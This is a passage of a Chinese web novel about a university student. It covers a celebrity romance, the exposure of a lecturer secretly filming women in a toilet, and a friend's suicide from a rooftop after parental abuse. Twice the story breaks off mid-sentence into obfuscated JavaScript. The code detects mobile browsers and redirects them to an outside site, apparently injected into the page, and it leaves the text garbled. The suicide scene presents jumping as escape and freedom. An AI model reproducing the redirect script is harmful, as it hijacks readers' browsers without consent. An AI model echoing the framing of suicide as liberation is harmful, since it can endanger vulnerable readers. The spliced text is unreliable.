“……”他低着头,却像是想起了什么,声音沙哑得像是在砂纸上滚过,还要执着地开口,去确认什么,“那次打电话。你说,你想我。” “对吗?” 黄怀予静静地看着他。 他眉眼压下来,漆黑的眸子里含着潮湿的水气,手一直抓着她的手臂,像是怕她逃开,动作充满侵略性,但是语气和表情却透着小心翼翼的隐秘的渴求,他渴望得到一个肯定的答案。 江城夜晚的风从阳台吹进来,带着江边的潮湿和一点点凉意,把黄怀予红色的裙边吹得荡起涟漪。 黄怀予突然觉得很疲累。 她不想再纠缠下去了。 事实上是,也没必要纠缠下去了。 黄怀予一下子冥冥之中就抓住了一个重点和核心,就是他们俩没有可能了。 一年多过去了,她还是一个平平无奇的大学生,他还是一个金光闪闪的大明星,一切好像没有任何改变,这条路走下去不过是历史重演,重蹈覆轍。 想通了这一点,黄怀予突然就觉得好像轻松了很多。她没管自己因为眼前楚恒这种直直地凝望着她的湿润眼神而怦怦跳动的心脏,也强迫自己忘掉因为和他站得距离很近而变得急促的呼吸。 她恨自己这种对他的强烈的忘不掉的喜欢,她对自己说,喜欢在别的现实因素面前,什么也算不上。 她说,“那是我喝醉了。” “我那个时候只是太脆弱,需要一个情感支撑。在那个时候,不管是谁来安慰我,我都会对那个人产生感情。” 她低下头,声音很小,带着点呜咽和哽咽。 “我不想你。我讨厌你。” 她挣开了他的手,再也没看他一眼,转身离开了。 * 期末来得密密麻麻。 黄怀予疲惫地应付,浑浑噩噩地考试上课,抱着书在校园里奔波。雅思考过了本来应该算得上解决了一个很大的学业压力,但是她却轻松不起来。 她总是莫名其妙想到那个人。 想到他在黑暗里明亮的眼睛,想到他轻浅的呼吸,和他强烈的想要她承认她想他的执着。 学校广播站此时还正好放着他的歌。 又是新专里的一首大热歌曲,短视频平台上全是这个的什么手势舞挑战,想屏蔽都屏蔽不掉。黄怀予走在校园里,听着耳边楚恒的歌声,愤恨地踢了一脚路边的石头,她心想怎么什么都要和她作对。 背着书包,没精打采地从考场里走出来。教学楼里没什么人,一考完试大家都走光了,黄怀予动作缓慢地走进了女厕所,脑子还很昏沉。 厕所隔间很安静。她按下冲水键,动作却一下子停住。 她看见,右边隔间下方的空格,伸出来了一个未知物体的一个小小的角。 她慢慢弯下腰,低头去看。 ——那是一个手机。从下方伸出来,摄像头正对着她。 黄怀予瞳孔骤然一缩,一下子就想到了上次那个在女厕所/偷拍却逃脱的人。 她骤然抬起身,迅速打开隔间的门冲了出去。右边响起“啪——”的开门声,那人像是也发现自己暴露了,立刻就想冲出来往外跑。却没想到黄怀予动作更快,几步就追上他,一脚把他踹倒在地,随后整个人都压了上去。 手肘照着他的后脑勺用力地捶,那人惨叫几声趴在地上。他竭力挣扎,力气很大,黄怀予用力骑在他身上使劲压制住他,这才发现,这人居然戴了一头棕色波浪卷的那种劣质假发,身上也穿了一身粉色的紧身裙子,皱皱巴巴黏在身上。 他居然还乔装打扮穿的女装进来偷拍! 黄怀予气不打一处来,她用力抠身下这人的眼珠子,他被迫趴在地上痛得嗷嗷叫。尖叫声引来了人,一个保洁阿姨闻声走了进来,见到这一幕吓得一动不动。黄怀予冲阿姨大喊,“去找保安过来!有变态偷拍!” 阿姨愣在原地两秒,随后立刻跑了出去。 身下这人还在不断挣扎,门口又进来两个女生,见到这一幕也愣住了,没过不久也反应过来,立刻上前帮忙按住他。他挣扎得很离开,黄怀予一把扯过他的脸,却在看见他的脸的那一瞬间呆住了。 ——他是计承教。 那个极其受学生欢迎,上课幽默风趣,关心同学身体健康,考试给分大方热情,讲着仁义礼智信、讲着人类文明史、讲着社会要如何运作才能让人们都生活在美好与快乐中的老师,计承教。 此时戴着一顶毛躁廉价的劣质假发,穿着皱皱巴巴的粉色紧身裙子,假发被扯得乱七八糟,露出稀疏油腻的秃顶。戴着眼镜,眼睛眯成一条缝,那张平时在讲台上为人师表的嘴,此时却被按在地上,由于被当场捉住偷拍而大骂着生殖器官脏词。 黄怀予站在原地,太久没有说话,也没有动作。计承教这才注意到,挣扎着抬头一看,和黄怀予对上眼的那一瞬间,整个人也呆住了。 上次两个人对视的时候,还是在教室里,他站在讲台上,指着PPT里的知识点,传授着高雅圣洁的知识,讲着人类文明发展几千年的传奇结晶。 而现在,他穿着廉价劣质的女装,被几个女学生按倒在教学楼女厕所冰凉的地面上,手边还放着没来得及删除的偷拍女学生下/体的照片和视频。 …… 计承教被保安带走了。临走前他恶狠狠地盯着黄怀予,像是要把她生吞活剥。 在计承教的手机里发现了接近两个G的照片和视频,与此同时还发现他在外网大量上传了偷拍女学生和女教师的厕所视频。 “还好吗。” 徐樱老师递过来一杯茶。黄怀予这才从茫然中抽离出来,她此时坐在徐樱老师办公室里,老师正坐在自己对面,看向她的眼神里有一丝担忧。 “如果有想不明白的地方,随时来找我。不管是学习上,还是人生里。” “还记得之前我们在南省山区里做项目,我跟你说过什么吗。” 徐樱老师的声音很温柔,却很坚定。 此时她是老师,也是一位在学术圈里工作了很多年的女性前辈,她也经历过这样信仰崩塌的时刻,她深知在这个世界,学得越多就越痛苦,这是一种无力改变现实的茫然和挣扎。 “不管你日后做出什么选择,我都希望,大学四年以及知识本身,可以给你留下一个美好的回忆。哪怕只是回忆,哪怕只存在于脑海中。这就已经是很好的结局了。” “不要麻木。黄怀予。我们要朝着光明前进。” 计承教离开了江城大学。 黄怀予以为这件事已经结束了,却没想到,在半个月后得知,计承教去了北方一所高校继续任职。 * 期末周结束了。室友还剩两门选修课没考完,愁眉苦脸地说周末还有一个金融社团协会的酒局要去,然而自己根本没时间去。黄怀予已经全部考完了,反正闲着也是闲着,主动说我代替你去吧。 室友大感激,说你就装作是我,报我的名字去就行。到场的人也不是什么重要人物,随便应付一下,随便吃喝,不用付钱,就当是蹭饭。 江城太大,酒局地址在另外一个区,很远,公交转地铁要两个多小时。黄怀予怕晚上喝了酒太晚回来不安全,在群里跟苏琬谷奕说了一声,谷大少爷立刻就说要送她。 免费的车不坐白不坐,黄怀予站在南门等,没过多久一辆黑色宾利就开了过来,车窗降下来,露出谷奕那张帅得张扬的脸。 “上车。”他冲她抬抬下巴。 黄怀予走到后排坐进去,半天都没等到车开动,抬起头,在后视镜对上谷奕正没好气瞪着她的脸。 “你拿我当司机啊。” 黄怀予:“副驾我能坐吗?这不女朋友专属吗。苏琬万一生气怎么办。” 谷奕知道她是在调侃谷奕和苏琬两人最近太过亲密甜蜜,嗤笑一声,嘴角勾起来,两只手交叠着摆在方向盘上,歪着头看向后视镜里的她,声音带着笑。 “少来这套了。赶紧到前面来。” 黄怀予又下车,重新上了副驾驶,谷大少爷这才满意起来,一脚踩上油门。 “最近有很亲密吗?还好吧。”谷奕检讨了一下自己。 黄怀予冷哼一声,“约她出来玩,十次有八次都说要陪你。好不容易还剩下两次,到了地方一看,你也跟着过来了。奇了怪了,你俩谈了好几年了,都没到平淡期的?怎么每天还要腻在一起?” 谷大少爷低头,笑了一下。 “我们之前分过手。幸福来之不易,得珍惜。” 黄怀予听了这话,眨眨眼。 “那咋了。谁没有分过手。” “……”谷奕噎住,一言难尽地歪头看她一眼,“杯姐我真佩服你,有的时候真的怀疑你脑子里装的什么,任何场合都可以说出地狱笑话。” 他指节敲击着方向盘,像是不经意间说,“分手了不还是可以复合吗?像我和苏琬一样。” 黄怀予懒得听他话里的暗示,低着头说,“不一样。” “有什么不一样?” 谷奕毫不在意地歪歪头,看着前方川流不息的车群,“又是那一套说法?不合适,不适配,距离太远,身份差异。就这几个词,来来回回说,我都听烦了。有什么大不了的?我跟苏琬不也这么过来了吗。” 他话里充满了一种过来人的语气,黄怀予心里一动,不由得沉默。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14693848|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在感情和恋爱这件事上,黄怀予确实没有任何老师,这是一门自修课程,她只能从各位前辈那里取取经,自己试探着往前走。 “那。”她不由得想要知道更多的正面案例,转过脸却还是别扭问出声,“你们当时是怎么想的。” 前方正好是个红灯,车缓缓停下,谷奕手肘随意地放在车窗边沿。 “她说她想要每一天都快乐,都开心。我也是。” 黄怀予眨眨眼,“就这样?” “嗯。就这样。”谷奕的声音带着强烈的不以为意,他的家庭背景注定这个世界上没有什么钱解决不了的大事,所以他可以完全不考虑任何劳什子的现实因素,他只为了精神和快乐而活,而苏琬就是他快乐的所有来源。 “如果是我,选择了感性和理想的那一方,那也正常。可是在我和她之间,她一直是考虑的更多的那个,一直是更理性的那个,一直是被各种现实因素纠缠的那个。可是到了最后,她居然也和我一样,选择了精神和快乐。” 谷奕转过头,认真地看着黄怀予。 “这已经足够能说明问题了。” “最近过得还好吗?从大三开始到现在,应该一直都不怎么顺利吧。” 谷奕轻声说:“我是一个完全的旁观者,看着你和苏琬为了很多现实和前途的事情在纠结。可是纠结到最后,你们难道没有发现一件事吗?那些事情,最后都没有发生。大家的人生都走上了一条和预想中不同的道路,而这条道路尽管充满坎坷,却都阴差阳错和自己最初的热情相吻合。” “生活就是每天都有麻烦。”他侧头,看向黄怀予,嘴角勾起一个熟悉的带着点痞气的笑,“所以,我只希望能一辈子和爱的人在一起。和你们天天在一起,天天见面,天天都开心快乐。” 他伸出一只拳头,伸到黄怀予面前。 黄怀予望着他,突然觉得从2017年高中认识他开始到现在的一幕幕全部都像电影一样在她脑海中放映。她低头,看着他伸向她的那只拳头,很大一只,手背上血管起伏,骨节突出。 四年了。楚门一中的风依然在吹着。 他们都已经长大了。 黄怀予伸出拳头。两只拳头碰在一起,轻轻地对撞。 “谢谢。”黄怀予点点头,“好朋友。” 谷奕笑,“我的荣幸。” * 到地方了。黄怀予进了一家KTV。 这是室友大一的时候加入的一个金融社团,那个时候天天说自己要转行考CPA,结果也没下文了,但是这个社团还一直加着,偶尔参加几次线上活动。这是18级毕业前最后一次活动了,社长坚持要搞一次线下团建,活跃活跃气氛,也给新进来的几个大一的学妹学弟一个互相交流破冰的机会。 “我们那个社长,是研二的学长。平时说话很装逼,你懂的,金融男那种感觉。”室友之前就提前给她打过预防针,“你别理他,去了就吃吃喝喝就行。” 到了地方,是个很大的包房,人很多,确实像室友说的那样,就算她顶替了室友过来也没人发现。门口有人组织签到,她上去填了室友的名字。 “新来的学妹?哪一届的?”身后传来一道男声,黄怀予回头,看见一个男人。五短身材,有点胖,肚子突出来,周围人都穿得简单休闲但是只有他一个人穿了成套西装,只是西装看上去完全不贴身,显得整个人像是业绩不好的落魄房屋中介。 黄怀予不认识他,没作声。 旁边突然窜出来另一个男人,用夸张的声音说,“咋了,不认识?这可说是我们社长啊,这你都不认识?你搞清楚谁是老板没啊?我们社长可是刚刚才实习下班过来参加我们这次活动,正装都没来得及换呢。” “哎,跟人家小姑娘说这些干什么,别把学妹吓到了。” 社长眯着眼,在黄怀予穿着牛仔短裤的修长的腿上猥琐地扫了一圈,又抬起头看着她,笑眯眯地说,“小妹妹,看你还年轻,大一的吧?叫我学长就行。” 黄怀予没理这两个人,转身直接走了,随便找了个人少的地方坐着。 一群人在座位上吃吃喝喝,不时有人上去唱歌。黄怀予左边坐了一个很面善的女孩,两个人随意聊了几句。酒过三巡,大家都有点喝开了,互相玩了几个真心话大冒险的游戏,也算是破了冰。 其实整个过程还挺开心的,除了那位社长实在是太烦,一会说自己进了什么牛逼的大公司在实习,可以给学弟学妹们搞个内推名额,一会说自己导师非常看好自己,千辛万苦挽留自己留下来读博士。自己实在是两边都难以取舍。 没过多久,又开始一个个问席间的所有女生,问她们哪一届的,哪个班的,是不是单身,有没有意愿来大公司实习,自己可以帮忙给内推。问的时候,那双绿豆大小的眼睛都快黏在人家女生身上了。旁边还有几个拍马屁的男的,怂恿女生给社长敬酒。 黄怀予装作自己喝醉了的样子,拿着酒杯,跌跌撞撞地朝着社长撞了过去。 一下子把一位正在被他们纠缠的女生给撞开。 又一个“不小心”扑到了社长身上,手里的酒杯砸在地上,酒液泼了社长一身。 “哎呦!” 社长和旁边的马屁精还没说话,黄怀予先大叫起来,“社长!社长!真是对不起!” 她又抄起旁边一杯矿泉水,朝社长身上泼过去,“我给你洗洗!” “你!”社长气得脸红脖子粗,刚想发火,就看见黄怀予整张脸都红了,笑嘻嘻的,看上去疯疯癫癫醉得不清。 他在这里可是最大的大老板,怎么能对这种醉鬼小妹妹有什么抱怨?他咒骂着忍下这口气,又瞪了嬉皮笑脸的黄怀予一眼,脱了湿淋淋的外套,扔在了一边,一时间也没心情去找美女喝酒了,坐着生闷气。 黄怀予目的达到了,又坐回来。 就在这时,耳边响起熟悉的旋律。 这旋律她已经听过了太多次,永远都不会忘。 黄怀予一僵。 抬头一看,楚恒那张好看的脸就这样清晰地出现在大屏幕上。 192. 第 192 章 “谁点的《5.5小时》?” “我的我的!” “哇!是你点的!我也喜欢这首歌!楚恒太帅了!” “我也是我也是!他最近那几首歌也都很好听!” “哎,他最近拿奖了你知道吗?” “当然知道了!那个奖就应该是他得,新专成绩太好了,还连带着之前那些歌又火了一遍,现在榜单上前十有八首都是他的歌。” 几个女生发现是同好之后互相感觉更亲切了,叽叽喳喳加了微信。明星话题往往是最不会出错的话题,大家聊天的方向纷纷开始对准最近最火的这位歌手,女生男生都打开了话匣子。 “我就说嘛,我就知道楚恒当时还会东山再起的。他那件事也太冤枉了,不就是谈了个恋爱吗?果然,沉寂一年,一发歌就重新回来了。” “哎,之前看他工作室官微说他要开巡演哎,下个月开始抢票,有江城场!我们一起去吧!” “能抢到吗,感觉好热门,肯定很多人一起抢,秒没的那种!我到时候让我舍友一起帮我抢票!” 大家聚在一起聊得火热,刚刚吃瘪的社长看见这边热闹的场景又心痒了,跨着四方步走过来插进来坐下,酒气熏天醉意迷蒙,指着屏幕上出现的楚恒。 “你们喜欢楚恒?” 一旁的马屁精立刻凑过来,“社长难道有人脉?” 他一笑,清清嗓子。 “东吟公司是我们公司的客户。我有东吟公司工作人员联系方式。” “哇!” 旁边几人也跟着惊叫起来,楚恒那可是现在最炙手可热的明星歌手,东吟公司也是行业内数一数二的知名经纪公司,一个男生忍不住问,“那有什么福利?” 社长露出得意的笑,面上却还拼命装作冷静的样子,思考着说,“嗯,别人不敢说,我的话,她们还是会给我一点面子的。所以,可以要到楚恒的签名照。” “真的吗?!” “社长好厉害!” “学长不愧是学长!我也想要可以吗?” 周围一下子炸开锅,喜欢楚恒的都开始激动了起来,就算不喜欢楚恒的也知道他现在风头正盛,签名照卖出去也能赚一笔钱,也跟着往上凑。 一呼百应。 ——只有黄怀予一个人低头喝酒。 社长满意地环视一圈,却见所有人都一脸激动,只有刚刚那个喝醉了洒了自己一身酒的疯疯癫癫的学妹,此时正安安静静坐在座位上,一点反应也没有。 社长脸色一下子阴沉下来,这女生一连打断自己两次,他觉得面子有点挂不住,大着舌头,“哎,那个人,你怎么不说话?” 黄怀予看了看时间,夜晚十点半了。差不多该回去了。 她瞥了一眼屏幕上那张熟悉的帅脸,站起身。 “我没有收藏前任签名照的习惯。” 现场突然安静下来。 然后爆发出巨大的笑声。 周围几个女生以为她是梦女粉丝,还觉得她很幽默,于是纷纷开口,“哈哈哈姐妹你好好笑!我也是,我是沈一临女朋友!”“那我就是吴俊老婆!” 几个男生也跟着笑起来。 社长捂着肚子,嘲笑,“你喝傻了吧!” 黄怀予没回应。 她说时间到了,自己马上要等不到末班车了,跟在场各位告辞之后,出门离开了。 门关上,吵闹混杂的环境一下子变得安静,周围隐隐约约传来其他包间声嘶力竭的跑调歌声。她低着头往前走,才刚走到走廊,就被一只大手迅速拉进了暗处的角落。 她吓了一跳,瞪大眼睛,刚想大喊,下一秒就被人紧紧抱住。 鼻间萦绕着一股熟悉的小苍兰香味,身上的人在她肩膀上蹭了两下,闷闷的声音在耳后响起。 “为什么说我是前任。” “……”黄怀予冷静下来,总算接受了楚恒此时突然出现在这家KTV无人的黑暗角落,并把她压在墙面上紧紧抱住她撒娇的事实。 她深呼吸,笑了一下,“难道不是吗?” 话音落下,埋首在她脖颈间的楚恒慢慢抬起眸,那双湿漉漉的桃花眼灼灼地盯着她,神色竟然有些委屈。 “那我们可以重新开始吗?” “……别不要我。” 黄怀予脑子里轰地一声,几乎可以听见自己骤然变快的心跳声。 强迫自己不要被他的美色吸引,她别开脸,语气生硬,“你怎么在这里。” 身上那人开始一点点吻她的耳朵,柔软的唇瓣不停擦过,又像是怕她会生气所以一直保持着轻柔的力道,低沉的声音在耳边响起。 “谷奕告诉我的。” “……”黄怀予牙都快咬碎了,她恨不得此时把那个信誓旦旦说自己晚上一定会来接她的大少爷给狠狠揍一顿,她就知道在车上那些话全都是这人狡猾的试探! “大傻以前从来不这样。”她冷静地说,“他以前很单纯,从来不会骗人的。” 他胸腔震动,像是低低地笑了。 “嗯。” “他是跟我混在一起久了,才变得这么狡猾的。” 楚恒灼热的呼吸喷薄在她脆弱的颈边,黄怀予发现自己脸很烫,她告诉自己一定是因为自己之前喝酒了的缘故。 “你打算在这里呆多久?”她推了一下他的胸膛,没推动,破罐子破摔说,“你一个大明星缩在这里,被人发现又想连带着我这个素人上一次恋情热搜吗?” 那人开始在她颈窝里平复呼吸,很快就直起了身子放开了她,手臂撑在她脑袋边的墙上,低下头,垂眸看她。 “如果是这样,我已经做好了所有准备了。” 黄怀予心里一惊,抬头看着他,嘴唇不由得有些颤抖,“……你什么意思。” 他淡淡地笑。 “从分手那天开始,我就在为今天做准备。到现在,我已经有足够的能力保护你了。” 他弯腰,摩挲黄怀予的下巴,盯着她的眼睛。 目光专注温柔,语气却像是沉重而坚定的承诺,像一张网,密密麻麻把黄怀予包围。 “你从没有害过我,你是在拯救我。” “再救我一次吧。”他抱紧了她,“我是你的。” * 暑假到了。黄怀予开始一个人准备留学申请的文书。 这个假期过得并不忙碌,反而带着点悠闲。她此时最担心的,是吴如冬。 她之前状态一直都非常不好,是黄怀予上次带她去了医院回来每天都陪她聊天、监督她吃药,才慢慢一点点好起来。 父母依旧严格禁止她实习,勒令她只能参加保研,黄怀予只能劝解她没关系,再读两三年书出来再就业也不错,读研的时候也可以参加实习,毕业了有研究生学历,在就业市场上也许会增加优势。慢慢她也开始接受这个现实,逐渐打起精神开始准备夏令营和保研推免。 她每天都坚持吃药,都坚持来跟黄怀予打卡。暑假她回了楚门继续复习,黄怀予偶尔会去她家看她,见她现在已经能吃下一点东西了,慢慢也能睡得着觉了,心里也逐渐轻松起来。 黄怀予想,也许事情真的会慢慢变好的。 假期很快过去。吴如冬奔走各个城市,参加了三四场学校的夏令营,却颗粒无收。黄怀予给她打电话时鼓励她还有九月份的推免,却在电话那头听到什么东西噼里啪啦砸到地上发出的巨大声音。 “没用!没有一个学校要你!没用!我和你妈怎么就生了你这么一个没用的废物!” “怎么别人都能有结果?就你没有?你每天到底在干什么?怕不是每天都偷摸着在玩手机?整天玩物丧志,呆在家里什么都不干,我养你干什么?” 吴如冬变得更颓丧了。 九月开学,她努力去准备预推免,几乎茶饭不思每天都在复习和准备,终于拿到了一所学校的offer。是一所211大学,在沿海城市,学校名气还不错,算是很好的结局。 却没想到,今年江城理工大学她所在的学院缩减了保研名额,每个班只有2人,而吴如冬由于综合结果排在第四名,失去了保研资格。 “没有名额了。我失去保研资格了。” “我不敢和我爸我妈讲。他们会骂死我的。” “我讲了。” “他们骂我是废物。骂这么多年都白养我了,甚至不如养头猪。骂我一事无成,永远比不上别人,只会让他们蒙羞。” “他们很生气,把家里我房间里之前所有的手办都砸了,把所有的海报都撕掉了。” “为什么要这样呢?明明我已经好几年都没有看过这些东西了。原来这样他们还不满意吗。” “他们到江城了,说要来找我。我不敢让他们过来,我害怕。上次他们来,取消了我的实习offer,当着所有老师和同学的面打我骂我。我害怕。” “他们来了。” “他们看到了我桌上你之前送给我的手办和明信片。那是你高三那年送给我的生日礼物。他们砸了,撕掉了,说我还在撒谎骗他们。” “他们发现了我的药。问我这是什么,说我有病,说我吃饱了没事干,我好好的就会装病,没病还矫情,别人都可以坚持,为什么我不可以。” “他们把我的药都给扔了。” “他们带我回楚门了。” “杯子。” “活着好难受。跳下去是不是就自由了。” 黄怀予一条一条地看着消息,每看一条,手都在抖。 直到看到最后一行字,她心中立刻仿佛闪过什么念头,呼吸都像是被人攫住。 黄怀予抓起包,冲出了寝室门,路上买了一张回楚门的车票,直奔车站。 一路上给吴如冬打了无数个电话,发了无数条消息,都无人理会无人接听。 她心里越来越慌,眼泪不由自主地流下来。 她扇了自己两下,让自己保持冷静,给苏琬打电话让她一起过来,随后就强迫自己去努力地想吴如冬现在会在哪里。 黄怀予踏上楚门的土地的时候,她心里已经冥冥之中有了一个答案。 她上了出租车,说了“楚门一中”。 也许吴如冬不在那里,但是吴如冬一定在那附近。黄怀予选择听从内心的声音。 和苏琬一起在楚门一中附近询问了一圈,黄怀予目光投向了学校后方小巷里。 那是一处早就已经荒废掉的楼,之前是违章建筑,后来一直无人管理,平时也很少有人去。 她远远地看着,突然天台顶上似乎有什么东西闪过她的眼前,她一下子抓住苏琬的手臂,声音有些颤抖。 “你看那里。天台。顶上。” 黄怀予近视,眼睛不好,她问苏琬,“是不是有人?” 苏琬一凛,迅速牵起黄怀予的手,两个人一齐朝着那栋楼跑去。 黄怀予也不知道这栋楼有几层高,她只觉得楼梯好长好长,周围到处是碎裂的砖块和厚厚的灰尘。她爬到顶楼,视野瞬间开阔,她一下子看见,吴如冬就站在前方,穿了一件大红色的衣服,一个人站在顶楼边缘。 她“噔噔噔”跑过去,却被一声叫喊生生勒停住脚步。 ——“别过来!” 她立刻停住,盯着前方,努力平静,胸膛剧烈起伏,“好。好。我不过去。” 苏琬跟在她身后,此时比她冷静得多,在她身后凑到她耳边轻声说:“我去报警。”说完就迅速下楼离开了。 废弃的高楼,宽阔肮脏的天台上,此时只剩下她们两人。 吴如冬看着黄怀予,“你怎么找到这里的。” 黄怀予喉咙动了动,她此时脑子也很乱,但是她还是极其真诚地实话实说:“我觉得,你会来楚门一中。” “我猜对了,对吧。” 黄怀予一边说,一边往前走。吴如冬就站在她面前几米的位置,她很瘦,天台的风很大,吹得她的衣衫猎猎作响,发丝凌乱,她的身影湮没在风中。 “嗯。你猜对了。”吴如冬沉默两秒,像是自暴自弃一般,对着黄怀予露出一个有点惨淡的笑。她转头,指着不远处的山,“你看,那是鸡鸣山。” 她又指着旁边山脚下一座学校,“那是楚门一中。” 她慢慢放下手,低着头,喃喃道,“想跳楼,首先得找一个楼吧。我本来想在家,可是那样父母一定会很快就过来,我就跳不成了。出了门以后,脚步不由自主就走到楚门一中了。可是不行啊,怎么能在楚门一中跳呢?跳了以后那栋楼就变成凶宅了,我摔得四分五裂的样子说不定还会吓到那些高中生。” “想来想去,还是不要给别人添麻烦了吧。” 吴如冬声音很轻,从她瘦削病弱的身体里说出来。 “所以选了这栋荒废的楼。” “这样,就算死了,也没有其他人会被牵扯进来,也不会给其他人带来麻烦。” 吴如冬看着黄怀予,眼里突然流露出后悔。 “不应该给你发那些消息的。你应该很困惑吧。擅作主张把你牵扯进来,现在你也跟着我过来了。我没想到会这样,我只是想一个人安安静静地,在一个可以看得见楚门一中的地方,跳下去。” “让你担心了。我知道你一直在努力拉着我,一直在把我拉上岸,一直让我醒醒,让我积极向前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14705636|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让我开心快乐。你做了这么多,帮了我这么多,可是现在,这些努力都要白费了。” 吴如冬已经要哭了,可是却面对黄怀予挤出一个很难看的笑,风包裹着她的发丝,她像是下一秒就要随风飘散。她轻声说,“对不起啊。” “我实在是太累了。太难受了。” 黄怀予一步步往前走,直到走到离吴如冬两米远左右的距离。黄怀予不敢再往前走了,风很大,吹得她短发飞扬。她想说话,可是说出来的声音却是哽咽的,眼泪从眼眶里溢出来,心口像是被人用刀狠狠割过一般疼。 沉默突然被尖锐的吼叫声打破。 ——“吴如冬!” 混乱庞杂的脚步声在身后响起。黄怀予浑身一僵,她已经有了不好的预感。 她转过身,就看见吴如冬的父母出现在身后,气喘吁吁,面色难看,额角都出现青筋,怒吼道,“你给我过来!” “别过来!再过来我就跳下去!”吴如冬看见他们出现,神色立刻变得激动起来。她往身后走了两步,单薄瘦削的身影几乎马上就要消失在天台上。 “别!别!”吴如冬的妈妈张丽哭着喊,“我们不过去,好不好?你别动。你为什么要这样啊?有什么事不能好好说啊?为什么你这么犟呢?爸爸妈妈都是为了你好啊!” 吴如冬的爸爸吴伟喘着气,脸色极其难看,“你真是太不听话了。你保研失败也就算了,怎么还闹脾气要自杀呢?你怎么这么能作妖呢?什么抑郁症,什么吃药,你真是闲得无聊,怎么想起一出是一出?” “爸爸妈妈供你这么多年容易吗?你就这样回馈爸爸妈妈吗?” “你们学校那么多成绩好的同学,谁都像你一样要死要活的?为什么人家就能保上,你就只能失败?你为什么不反思一下自己的原因?你怎么这么自私呢?” “你抗压能力这么差,你以后到社会上怎么办?你以为谁都还能像爸爸妈妈一样宽容你?我们真是白生你了,你太让我们失望了!” 张丽哭着喊道,“吴如冬,爸爸妈妈不是要怪你,你先回来好不好?保研算了,不保了,我们考研也是一样的,我们不读研究生直接出去工作也是一样的,好不好?” “爸爸妈妈只是希望你过得更好,哪里有错呢?” “爸爸妈妈也很不容易啊,你爸爸在外面工作跑货车,妈妈在外面上班,都是为了赚钱给你读书啊!你不能这么对妈妈啊!小时候爸爸妈妈工作忙管不了你,是外婆把你带大的,现在外婆也走了,你忍心让她失望吗?她要是知道你现在要跳楼,她得多难受啊?” “爸爸妈妈对你不好吗,什么都好吃好喝的对你,你高考没考上985我们也认了,你保研失败了我们也认了,我们还要怎么样你才满意呢?” 黄怀予看见,随着她父母一句句的劝说,吴如冬的脸色越来越灰白,表情越来越黯淡,眸光也慢慢沉了下去。 吴如冬像是想说什么,可是又觉得根本没必要,于是在她父母一句一句不停的话语里,慢慢开始笑。起初是很浅的笑,慢慢越笑越大,越笑越夸张,风吹过她瘦削苍白的脸,她笑出了眼泪,像是在笑自己的父母,像是在笑这个世界,更是在笑那个还妄图解释任何东西的自己。 她垂眸,看向黄怀予,脸上划过两条泪痕,轻声喃喃,“杯子,我好难受啊。我想要快乐。那种永恒的快乐。” 黄怀予看着她,很轻很轻地摇了摇头,“没有什么东西是永恒的。” “美好的东西,都是短暂的,是脆弱的,是易逝的。” “但是,就是因为这样,它才格外珍贵。对吗?” 黄怀予嘴角扬起向上的弧度,似乎是在笑,可是泪水却已经流了满脸。她对面前的吴如冬点点头,随后缓慢而坚定地伸出了自己的手。 “如果我们手牵着手,度过今夜,那么也许明天醒过来的时候,就会变得没那么痛苦了吧?” “跟我走吧。” 黄怀予执着地看着她,眼里透着祈求,她尽力把自己的手伸向吴如冬,尽力最后一次把她拉回来,“我们去吃东西吧。你想吃什么?烧烤好不好?” 黄怀予看见吴如冬的目光落在她伸过去的手掌上。 一只宽大白皙的手,手掌向上,五指伸向吴如冬,静静地等待,似乎不需要任何艰难的决策,就可以抬起自己的手,放在上面,被黄怀予暖意融融地牵住。黄怀予说可以牵着她的手一起去吃烧烤,真的吗?听起来很快乐,很开心。 她眼里闪过犹豫,她此时已经不太能思考了,天台的风越来越冷,她单薄的衣衫在风中摇曳,她只是在那一瞬间觉得,如果能牵住黄怀予的手,那也不错。 黄怀予看见吴如冬眼里的犹豫,吴如冬甚至已经不自觉抬起了手,一点点地伸了出去。黄怀予脸上瞬间闪过希望的惊喜,马上走上前两步,坚定地、鼓励地,把手伸向吴如冬,等待着她的决定。 ——“你这样做是要逼死爸爸妈妈啊!这么多年真的白养你了!” 身后突然传来尖锐的吼叫声。 黄怀予脸色一变。 她看着吴如冬瞬间清醒过来的眼神和迅速缩了回去的手,心里的不安即将冲破胸腔。 “杯子,你还记得高三那年你生日,我给你写的明信片吗?” 吴如冬像是回过神来,回到了现实世界,她露出一个了然和早知如此的笑。风把她的头发吹得乱糟糟,她连腿都开始微微发颤。 “你是灯塔,我是在黑色的海洋里不断游泳寻找光明的鱼。而我的家人,也许就是周围的海洋。我在海里出生,依仗海洋生活,却也被海浪打得遍体鳞伤。我只能看向你,不断地看向你。” 黄怀予心底一凉,升起强烈的不安的预感。 她不自觉摇头,死死盯着面前的人,呢喃着,“不。不。” 吴如冬摘下鼻梁上那副已经戴了十几年、跟随她升学考试的厚厚的眼镜,用力往天上一扔。 “鱼要去寻找自由了。能体验一下飞翔,也算我没有白活一场吧。” 她目光紧紧落在黄怀予身上,脚步倒着往后走,直到脚后跟开始悬空,突然勾起一个解脱的笑,整个人往后倒去,消失在了八楼天台边缘。 “不——” 眼泪冲出眼眶,黄怀予条件反射般冲上前去,下一秒却被一个人紧紧抱住往后拖,在地上滚了两圈,怕她还会继续起来,于是用力翻身压住她。 